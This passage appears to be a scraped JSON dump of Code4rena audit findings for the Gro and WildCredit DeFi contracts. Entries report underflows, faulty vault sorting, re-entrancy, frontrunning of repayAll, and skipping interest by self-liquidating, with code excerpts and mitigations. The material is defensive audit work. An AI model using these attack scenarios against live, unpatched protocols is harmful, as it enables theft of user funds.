.\\interfaces\\IInsurance.sol: function calculateDepositDeltasOnAllVaults() external view returns (uint256[3] memory); .\\interfaces\\IInsurance.sol: function getDelta(uint256 withdrawUsd) external view returns (uint256[3] memory delta); .\\interfaces\\IInsurance.sol: uint256[3] memory, .\\interfaces\\IInsurance.sol: uint256[3] memory, .\\interfaces\\IInsurance.sol: function sortVaultsByDelta(bool bigFirst) external view returns (uint256[3] memory vaultIndexes); .\\interfaces\\ILifeGuard.sol: function getAssets() external view returns (uint256[3] memory); .\\interfaces\\ILifeGuard.sol: function distributeCurveVault(uint256 amount, uint256[3] memory delta) external returns (uint256[3] memory); .\\interfaces\\ILifeGuard.sol: function invest(uint256 whaleDepositAmount, uint256[3] calldata delta) external returns (uint256 dollarAmount); .\\interfaces\\ILifeGuard.sol: uint256[3] calldata inAmounts, .\\interfaces\\IWithdrawHandler.sol: uint256[3] calldata minAmounts .\\interfaces\\IWithdrawHandler.sol: function withdrawAllBalanced(bool pwrd, uint256[3] calldata minAmounts) external; .\\pools\\oracle\\Buoy3Pool.sol: function getTokenRatios(uint256 i) private view returns (uint256[3] memory _ratios) { .\\pools\\oracle\\Buoy3Pool.sol: uint256[3] memory _prices; .\\pools\\oracle\\Buoy3Pool.sol: for (uint256 j = 0; j < 3; j++) { ## Tools Used ## Recommended Mitigation Steps Do the following replacements - 10**18 ==> DEFAULT_DECIMALS_FACTOR - 5E17 ==> DEFAULT_DECIMALS_FACTOR /2 or BASE/2 - 10000 ==> PERCENTAGE_DECIMAL_FACTOR - 10**4 ==> PERCENTAGE_DECIMAL_FACTOR - 3 ==> N_COINS "}, {"title": "lastRatio of Buoy3Pool not initialized", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/7", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "lastRatio of Buoy3Pool not initialized"}, {"title": "implicit underflows", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/6", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact There are a few underflows that are converted via a typecast afterwards to the expected value. If solidity 0.8.x would be used, then the code would revert. int256(a-b) where a and b are uint, For example if a=1 and b=2 then the intermediate result would be uint(-1) == 2**256-1 int256(-x) where x is a uint. For example if x=1 then the intermediate result would be uint(-1) == 2**256-1 Its better not to have underflows by using the appropriate typecasts. This is especially relevant when moving to solidity 0.8.x ## Proof of Concept // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/insurance/Exposure.sol#L178 function sortVaultsByDelta(..) .. for (uint256 i = 0; i < N_COINS; i++) { // Get difference between vault current assets and vault target int256 delta = int256(unifiedAssets[i] - unifiedTotalAssets.mul(targetPercents[i]).div(PERCENTAGE_DECIMAL_FACTOR)); // underflow in intermediate result //https://github.com/code-423n4/2021-06-gro/blob/main/contracts/pnl/PnL.sol#L112 function decreaseGTokenLastAmount(bool pwrd, uint256 dollarAmount, uint256 bonus)... .. emit LogNewGtokenChange(pwrd, int256(-dollarAmount)); // underflow in intermediate result // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/pools/oracle/Buoy3Pool.sol#L87 function safetyCheck() external view override returns (bool) { ... _ratio = abs(int256(_ratio - lastRatio[i])); // underflow in intermediate result ## Tools Used ## Recommended Mitigation Steps replace int256(a-b) with int256(a)-int256(b) replace int256(-x) with -int256(x) "}, {"title": "emergencyHandler not checked & not emitted", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/5", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function setWithdrawHandler allows the setting of withdrawHandler and emergencyHandler. However emergencyHandler isn't checked for 0 (like the withdrawHandler ) The value of the emergencyHandler is also not emitted (like the withdrawHandler ) ## Proof of Concept // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/Controller.sol#L105 function setWithdrawHandler(address _withdrawHandler, address _emergencyHandler) external onlyOwner { require(_withdrawHandler != address(0), \"setWithdrawHandler: 0x\"); withdrawHandler = _withdrawHandler; emergencyHandler = _emergencyHandler; emit LogNewWithdrawHandler(_withdrawHandler); } ## Tools Used ## Recommended Mitigation Steps Add something like: require(_emergencyHandler!= address(0), \"setEmergencyHandler: 0x\"); event LogNewEmergencyHandler(address tokens); emit LogNewEmergencyHandler(_emergencyHandler); "}, {"title": "sortVaultsByDelta doesn't work as expected", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/2", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-gro-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function sortVaultsByDelta doesn't always work as expected. Suppose all the delta's are positive, and delta1 >= delta2 >= delta3 > 0 Then maxIndex = 0 And (delta < minDelta (==0) ) is never true, so minIndex = 0 Then (assuming bigFirst==true): vaultIndexes[0] = maxIndex = 0 vaultIndexes[2] = minIndex = 0 vaultIndexes[1] = N_COINS - maxIndex - minIndex = 3-0-0 = 3 This is clearly not what is wanted, all vaultIndexes should be different and should be in the range [0..2] This is due to the fact that maxDelta and minDelta are initialized with the value 0. This all could results in withdrawing from the wrong vaults and reverts (because vaultIndexes[1] is out of range). ## Proof of Concept // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/insurance/Exposure.sol#L178 function sortVaultsByDelta(bool bigFirst,uint256 unifiedTotalAssets,uint256[N_COINS] calldata unifiedAssets,uint256[N_COINS] calldata targetPercents) external pure override returns (uint256[N_COINS] memory vaultIndexes) { uint256 maxIndex; uint256 minIndex; int256 maxDelta; int256 minDelta; for (uint256 i = 0; i < N_COINS; i++) { // Get difference between vault current assets and vault target int256 delta = int256( unifiedAssets[i] - unifiedTotalAssets.mul(targetPercents[i]).div(PERCENTAGE_DECIMAL_FACTOR) ); // Establish order if (delta > maxDelta) { maxDelta = delta; maxIndex = i; } else if (delta < minDelta) { minDelta = delta; minIndex = i; } } if (bigFirst) { vaultIndexes[0] = maxIndex; vaultIndexes[2] = minIndex; } else { vaultIndexes[0] = minIndex; vaultIndexes[2] = maxIndex; } vaultIndexes[1] = N_COINS - maxIndex - minIndex; } ## Tools Used ## Recommended Mitigation Steps Initialize maxDelta and minDelta: int256 maxDelta = -2**255; // or type(int256).min when using a newer solidity version int256 minDelta = 2**255; // or type(int256).max when using a newer solidity version Check maxIndex and minIndex are not the same require (maxIndex != minIndex); "}, {"title": "The interest rate is calculated based on assumptions on the block time", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/142", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "The interest rate is calculated based on assumptions on the block time"}, {"title": "Unimplemented methods in several interfaces", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/140", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle shw # Vulnerability details ## Impact Some methods declared in the interfaces are not implemented. Specifically, the `withdrawRepay` method of `ILendingPair` and the `liqFeePool` method of `Controller`. ## Proof of Concept Referenced code: [IController.sol#L14](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/interfaces/IController.sol#L14) [ILendingPair.sol#L22](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/interfaces/ILendingPair.sol#L22) ## Recommended Mitigation Steps Remove the unimplemented methods. "}, {"title": "Add a proper revert message in `transferFrom` of `LPTokenMaster`", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/138", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Add a proper revert message in `transferFrom` of `LPTokenMaster`"}, {"title": "Math.max can be used", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/133", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The line `return (rate < MIN_RATE) ? MIN_RATE : rate;` can be written as `return Math.max(rate, MIN_RATE);` for an easier reading, since the Math library is already imported. ## Proof of Concept https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/InterestRateModel.sol#L37 ## Tools Used Manual analysis ## Recommended Mitigation Steps Rewrite using the Math.max function "}, {"title": "Boolean to constant comparison", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/132", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Boolean to constant comparison"}, {"title": "typo in revert", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/131", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "typo in revert"}, {"title": "typo: totalAccountBorrrow", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/130", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact Simple typo: totalAccountBorrrow instead of totalAccountBorrow ## Proof of Concept In LendingPair.sol: ``` uint totalAccountBorrrow = _borrowBalance(_account, tokenA, tokenA) + _borrowBalance(_account, tokenB, tokenA); return totalAccountSupply * 1e18 / totalAccountBorrrow; ``` ## Tools Used Manual analysis ## Recommended Mitigation Steps Correct the typo "}, {"title": "Unused imported interface in LendingPair", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/128", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The './interfaces/IInterestRateModel.sol' imported in LendingPair.sol isn't actually used and can be removed ## Proof of Concept https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L13 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove the import line. "}, {"title": " Recommended", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/127", "labels": ["bug", "invalid", "disagree with severity", "sponsor disputed", "3 (High Risk)"], "target": "2021-07-wildcredit-findings", "body": " Recommended"}, {"title": "repayAll() and repayAllETH() vulnerable to frontrunning", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/125", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle toastedsteaksandwich # Vulnerability details ## Impact The repayAll() and repayAllETH() functions allow any user to pay off debt of another user. Since all of the debt is going to be paid, no amount is specified, allowing the recipient of the repayment to frontrun the transaction to increase their debt. The risk of this issued was lowered as it depended on the user having enough tokens and allowance in the case of repayAll(), or having a msg.sender higher than the current debt in the case of repayAllEth(). ## Proof of Concept The affected lines are the following: https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L147 https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L156 The scenario for repayAll() is the following: 1. Alice pays off 5 of Bob's Dai debt using repayAll(). 2. Bob monitors the mempool for Alice's transaction, and front-runs it by taking out as much debt as Alice's allowance (and therefore balance) to the contract. 3. `debtOf[_token][_account]` now returns the higher amount and pays off Bob's new debt. The scenario for repayAllEth() is similar: 1. Alice pays off 0.5 of Bob's Weth debt using repayAllEth(). 2. Bob monitors the mempool for Alice's transaction, and frontruns it by taking out as much debt as Alice's msg.value amount used. 3. `debtOf[address(WETH)][_account]` now returns the higher amount and pays off Bob's new debt. ## Recommended Mitigation Steps This issue can be mitigated by enforcing a minimum time to hold debt - e.g. not allowed to repay debt for at least 6 blocks. Alternatively, the repay() function could be used to replace the 2 affected functions by passing in the _amount as the total debt (looked up off-chain and used in the dapp, for example) so that only up to a certain amount of debt is paid. This also means the repay() function would need to be made `payable`, and that the `msg.value` is validated to equal the _amount parameter. "}, {"title": "`LendingPair.pendingSupplyInterest` is not accurate", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/124", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle cmichel # Vulnerability details The `LendingPair.pendingSupplyInterest` does not accrue the new interest since the last update. ## Impact The returned value is not accurate. ## Recommendation Accrue it first such that `cumulativeInterestRate` updates and `_newInterest` returns the updated value. "}, {"title": "`LendingPair.liquidateAccount` fails if tokens are lent out", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/123", "labels": ["bug", "disagree with severity", "sponsor confirmed", "3 (High Risk)"], "target": "2021-07-wildcredit-findings", "body": "# Handle cmichel # Vulnerability details The `LendingPair.liquidateAccount` function tries to pay out underlying supply tokens to the liquidator using `_safeTransfer(IERC20(supplyToken), msg.sender, supplyOutput)` but there's no reason why there should be enough `supplyOutput` amount in the contract, the contract only ensures `minReserve`. ## Impact No liquidations can be performed if all tokens are lent out. Example: User A supplies 1k$ WETH, User B supplies 1.5k$ DAI and borrows the ~1k$ WETH (only leaves `minReserve`). The ETH price drops but user B cannot be liquidated as there's not enough WETH in the pool anymore to pay out the liquidator. ## Recommendation Mint LP supply tokens to `msg.sender` instead, these are the LP supply tokens that were burnt from the borrower. This way the liquidator basically seizes the borrower's LP tokens. "}, {"title": "`LendingPair.liquidateAccount` does not accrue and update cumulativeInterestRate", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/122", "labels": ["bug", "disagree with severity", "sponsor confirmed", "3 (High Risk)"], "target": "2021-07-wildcredit-findings", "body": "# Handle cmichel # Vulnerability details The `LendingPair.liquidateAccount` function does not accrue and update the `cumulativeInterestRate` first, it only calls `_accrueAccountInterest` which does not update and instead uses the old `cumulativeInterestRate`. ## Impact The liquidatee (borrower)'s state will not be up to date. I could skip some interest payments by liquidating myself instead of repaying if I'm under-water. As the market interest index is not accrued, the borrower does not need to pay any interest accrued from the time of the last accrual until now. ## Recommendation It should call `accrueAccount` instead of `_accrueAccountInterest` "}, {"title": "Simple interest formula is used", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/119", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Simple interest formula is used"}, {"title": "Uniswap oracle assumes PairToken <> WETH liquidity", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/118", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Uniswap oracle assumes PairToken <> WETH liquidity"}, {"title": "Reward computation is wrong", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/116", "labels": ["bug", "disagree with severity", "sponsor acknowledged", "3 (High Risk)"], "target": "2021-07-wildcredit-findings", "body": "Reward computation is wrong"}, {"title": "Total LP supply & total debt accrual is wrong", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/115", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Total LP supply & total debt accrual is wrong"}, {"title": "LPTokenMaster does not implement `IERC20`", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/113", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "LPTokenMaster does not implement `IERC20`"}, {"title": "Interest model is non-continuous", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/112", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle cmichel # Vulnerability details The `InterestRateModel.borrowRatePerBlock` function has a literal jump at target ratio and does not form a continuous function. Usually (as in Compound) it's a piece-wise continuous function with a linear function `f` on `[0%; TARGET%]` and a second linear function `g` on [`TARGET%; 100%]` where `f(TARGET) = g(TARGET)` and `g`'s slope is much higher than `f` to discourage further borrows. Example: Assuming a `TARGET_UTILIZATION` of 80%, the `borrowRatePerBlock` for a utilisation ratio slightly less than `TARGET_UTILIZATION` (`if` branch) would be: `LOW_RATE * TARGET_UTILIZATION`. However, when borrowing **at** `TARGET_UTILIZATION` (`else` branch), the `borrowRatePerBlock` suddenly becomes `TARGET_UTILIZATION`, i.e., a `(1-LOW_RATE) * TARGET_UTILIZATION` increase. This is because `debt - (supply * TARGET_UTILIZATION / 100e18) = 0` (as `debt * 100e18 / supply = TARGET_UTILIZATION`) and thus the inner `utilization = 0`. ## Impact Borrowing a single wei more that pushes the utilization ratio to the `TARGET_UTILIZATION` (going from `if` to `else` branch) leads to suddenly having to pay 20% (1 - target) more interest **on the overall debt position**. ## Recommended Mitigation Steps I think the expected behavior for the `else` case should be something like `TARGET_UTILIZATION * LOW_RATE + (HIGH_RATE - TARGET_UTILIZATION * LOW_RATE) * utilization / 100e18` such that it's a continuous function at utiisation ratio of `TARGET_UTILIZATION`. "}, {"title": "Variables that can be converted into immutables", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/110", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "Variables that can be converted into immutables"}, {"title": "when setting new value for feeRecepient/totalRewardPerBlock ensure that new value is different from old one", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/109", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "when setting new value for feeRecepient/totalRewardPerBlock ensure that new value is different from old one"}, {"title": "Lack of zero address validation", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/108", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact Due to lack of zero address validation funds can be lost in following case ex - No checking of address(0) in constructor No checking of address(0) while using low-level call to transfer eth ## Proof of Concept https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/TransferHelper.sol#L25 https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/Controller.sol#L49 https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/RewardDistribution.sol#L57 ## Tools Used manual review ## Recommended Mitigation Steps add zero address validation "}, {"title": "Packing of variable in controller.sol", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Packing of variable in controller.sol"}, {"title": "Migrate Rewards Without Distribution", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/102", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Migrate Rewards Without Distribution"}, {"title": "Use of Floating Pragma", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/99", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact https://swcregistry.io/docs/SWC-103 ## Proof of Concept Most of listed files uses floating pragma, some are https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/LPTokenMaster.sol#L6 https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/Controller.sol#L3 https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/InterestRateModel.sol#L6 ## Tools Used manual review ## Recommended Mitigation Steps use fixed solidity version "}, {"title": "Erc20 Race condition for allowance", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/96", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor disputed"], "target": "2021-07-wildcredit-findings", "body": "Erc20 Race condition for allowance"}, {"title": "Rewards can be migrated to an arbitrary address at anytime by owner", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/93", "labels": ["bug", "invalid", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Rewards can be migrated to an arbitrary address at anytime by owner"}, {"title": "Critical protocol parameter configuration/changes should have sanity/threshold checks", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/85", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Critical protocol parameter configuration/changes should have sanity/threshold checks"}, {"title": "Single-step process for critical ownership transfers is risky", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/82", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Multiple contracts: Controller, LPTokenMaster, RewardDistribution and UniswapV3Oracle use onlyOwner authorized functions. Given that this is derived from Ownable, the ownership management of these contracts defaults to Ownable\u2019s transferOwnership() and renounceOwnership() methods which are not overridden here. Such critical address transfer/renouncing in one-step is very risky because it is irrecoverable from any mistakes. Scenario: If an incorrect address, e.g. for which the private key is not known, is used accidentally then it prevents the use of all the onlyOwner() functions forever, which includes the changing of various critical addresses and parameters. This use of incorrect address may not even be immediately apparent given that these functions are probably not used immediately. When noticed, due to a failing onlyOwner() function call, it will force the redeployment of these contracts and require appropriate changes and notifications for switching from the old to new address. This will diminish trust in the protocol and incur a significant reputational damage. ## Proof of Concept See similar High Risk severity finding from Trail-of-Bits Audit of Hermez: https://github.com/trailofbits/publications/blob/master/reviews/hermez.pdf See similar Medium Risk severity finding from Trail-of-Bits Audit of Uniswap V3: https://github.com/Uniswap/uniswap-v3-core/blob/main/audits/tob/audit.pdf https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/external/Ownable.sol#L25-L38 https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/Controller.sol#L11 https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/LPTokenMaster.sol#L12 https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/RewardDistribution.sol#L17 https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/UniswapV3Oracle.sol#L12 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Override the inherited methods to null functions and use separate functions for a two-step address change: 1) Approve a new address as a pendingOwner 2) A transaction from the pendingOwner address claims the pending ownership change. This mitigates risk because if an incorrect address is used in step (1) then it can be fixed by re-approving the correct address. Only after a correct address is used in step (1) can step (2) happen and complete the address/ownership change. Also, consider adding a timelock delay for such sensitive actions. And at a minimum, use a multisig (with mutually independent and trustworthy owners) and not an EOA. "}, {"title": "Gas optimizations - optimize reads in _distributeReward ", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Gas optimizations - optimize reads in _distributeReward "}, {"title": "Gas optimizations - Check first If blocksElapsed == 0 in _pendingRewardPerToken", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/76", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Gas optimizations - Check first If blocksElapsed == 0 in _pendingRewardPerToken"}, {"title": "Chainlink - Use latestRoundData instead latestAnswer to run more validations", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/75", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact `UniswapV3Oracle.sol` is calling `latestAnswer` to get the last WETH price. This method will return the last value, but you won't be able to check if the data is fresh. On the other hand, calling the method `latestRoundData` allow you to run some extra validations ``` ( roundId, rawPrice, , updateTime, answeredInRound ) = AggregatorV3Interface(XXXXX).latestRoundData(); require(rawPrice > 0, \"Chainlink price <= 0\"); require(updateTime != 0, \"Incomplete round\"); require(answeredInRound >= roundId, \"Stale price\"); ``` More information: https://docs.chain.link/docs/faq/#how-can-i-check-if-the-answer-to-a-round-is-being-carried-over-from-a-previous-round "}, {"title": "Gas optimizations - Use bytesX instead of string", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "Gas optimizations - Use bytesX instead of string"}, {"title": "_wethWithdrawTo is vulnerable re-entrancy", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function withdrawBorrowETH invokes _wethWithdrawTo and later _checkMinReserve, however, the check of reserve is not necessary here, as function _wethWithdrawTo also does that after transferring the ether. However, this reserve check might be bypassed as TransferHelper._wethWithdrawTo uses a low level call that is vulnerable to re-entrancy attacks. As this MIN_RESERVE sounds like an important value, you should consider preventing re-entrancy attacks here. // Prevents division by zero and other undesirable behavior uint public constant MIN_RESERVE = 1000; ## Recommended Mitigation Steps Consider using re-entrancy guard on all main action functions (e.g. deposit, withdraw, borrow, repay, etc): https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol "}, {"title": "setReward does not check if pid exists", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/70", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function setReward does not check if pid actually exists. Provided wrong _pair, _token and _isSupply params it will return a default value of 0, thus the first pool will be updated even though the caller may intended to update another pool. The risk is very low as this function can only be called by onlyOwner but I still think the code should prevent such scenarios from accidentally happening. ## Recommended Mitigation Steps Check that pidByPairToken added value is true. "}, {"title": "addPool emits PoolUpdate with wrong pid", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Function addPool emits event PoolUpdate passing pools.length as pid while the actual pid is pools.length-1. ## Recommended Mitigation Steps emit PoolUpdate(pools.length-1, _pair, _token, _isSupply, _points); or even better store it in a temporary variable and re-use multiple times. "}, {"title": "safeTransferFrom in TransferHelper is not safeTransferFrom", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/67", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact A non standard erc20 token would always raise error when calling `_safeTransferFrom`. If a user creates a USDT/DAI pool and deposit into the pool he would find out there's never a counterpart deposit. ## Proof of Concept https://github.com/code-423n4/2021-07-wildcredit/blob/82c48d73fd27a9d4d5d4a395b3affcef4ef6c5c8/contracts/TransferHelper.sol#L19 TransferHelper does not uses `SafeERC20` library as the function name implies. A sample POC: script: ``` usdt.functions.approve(lending_pair.address, deposit_amount).transact({'from': w3.eth.accounts[0]}) lending_pair.functions.deposit(w3.eth.accounts[0], usdt.address, deposit_amount).transact({'from': w3.eth.accounts[0]}) ``` Error Message: ``` Error: Transaction reverted: function returned an unexpected amount of data at LendingPair._safeTransferFrom (contracts/TransferHelper.sol:20) at LendingPair.deposit (contracts/LendingPair.sol:95) ``` ## Tools Used Hardhat ## Recommended Mitigation Steps Uses openzeppelin `SafeERC20` in transfer helper (and any other contract that uses IERC20). "}, {"title": "Code size exceed limit", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor disputed"], "target": "2021-07-wildcredit-findings", "body": "Code size exceed limit"}, {"title": "LendingPair: Missing validation check for ETH methods [Updated]", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle greiart # Vulnerability details ## Impact The `depositRepayETH()`, `withdrawBorrowETH()`, `withdrawAllETH()` and `repayAllETH()` fail to check if ETH is an asset of the lending pair (ie. if ETH is either tokenA or tokenB). From manually tracing the `depositRepayETH()` function, attempts to call it will revert in `_mintSupply()` when `lpToken[_token].mint(_account, _amount);` is called, since the `lpToken` is only initialized for only tokenA and tokenB. Nevertheless, it is recommended to perform token validation for the ETH methods as well, since it should be treated like other ERC20 tokens. It also helps to avoid wasting gas. ## Referenced Codelines [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L83](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L83) [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L106](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L106) [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L131](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L131) [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L156](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L156) ## Recommended Mitigation Steps Include `_validateToken()` in the equivalent ETH functions. An alternative suggestion is to drop the ETH methods (eg. combine `depositRepayETH()` into `depositRepay()` and doing a bit of refactoring to make native ETH deposits / withdrawals possible. 